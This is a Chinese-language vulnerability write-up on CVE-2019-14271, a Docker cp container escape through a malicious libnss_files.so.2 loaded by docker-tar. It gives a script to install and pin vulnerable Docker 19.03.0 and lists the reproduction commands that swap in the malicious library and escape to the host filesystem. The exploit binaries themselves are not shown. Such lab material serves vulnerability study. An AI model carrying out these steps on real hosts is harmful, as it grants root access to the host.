Docker copy 漏洞导致容器逃逸 CVE-2019-14271

漏洞描述

docker cp 命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 /var/logs,语法是 docker cp container_name:/var/logs /some/host/path

在复制的过程中 Docker 使用了一个名为 docker-tar 的帮助进程。docker-tar 是通过 chroot 到容器,将请求的文件或目录存档,然后将生成的 tar 文件传递给 Docker daemon,然后由 daemon 提取到主机的目标目录中。

有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中,一些含有嵌入 C 代码(cgo)的包会在运行时动态加载共享的库。这些包包括 netos/user,都是 docker-tar 使用的,而且在运行时会加载多个 libnss_*.so 库。一般来说,库是从 host 文件系统加载的,但因为 docker-tarchroot 到了容器,因此会从容器文件系统中加载库。也就是说 docker-tar 会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到 docker-tar,恶意容器就可以获取 host 主机的完全 root 访问权限。

可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:

在这两种情况下,攻击者都可以获取主机上的 root 代码执行权限。

参考链接:

漏洞影响

v18.09.9<= Docker <v19.03.8

环境搭建

ubuntu 18.04 使用以下脚本 install_docker_19.03.0.sh 安装 Docker 19.03.0:

#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true

echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true

echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
  | sudo tee /etc/apt/sources.list.d/docker.list

echo "[*] Updating package index..."
sudo apt update

echo "[*] Searching for Docker 19.03.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
  echo "[*] Docker 19.03.0 not found"
  exit 1
fi
echo "[*] Found version: $VERSION_STRING"

echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io

echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io

echo "[*] Installation complete, current version:"
docker --version

漏洞复现

新建一个容器:

sudo docker run -itd --name=14271 ubuntu bash

漏洞利用文件 拷贝至容器内:

sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/

删除容器内原来的 .so 文件,替换为修改后的恶意 .so 文件:

sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls /exp
breakout  libnss_files.so.2  original_libnss_files.so.2
root@7271b49ce3d1:/# cp /exp/* /
root@7271b49ce3d1:/# chmod 777 /breakout
root@7271b49ce3d1:/# touch /logs
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
root@7271b49ce3d1:/# exit
exit

替换后退出容器,在宿主机上执行 cp 命令完成逃逸:

sudo docker cp 14271:/logs ./

进入容器内部,可发现根目录下存在 host_fs 目录挂载了宿主机的文件系统,成功逃逸:

sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls -al / | grep host_fs
drwxr-xr-x  24 root root 4096 May 26 05:46 host_fs

漏洞修复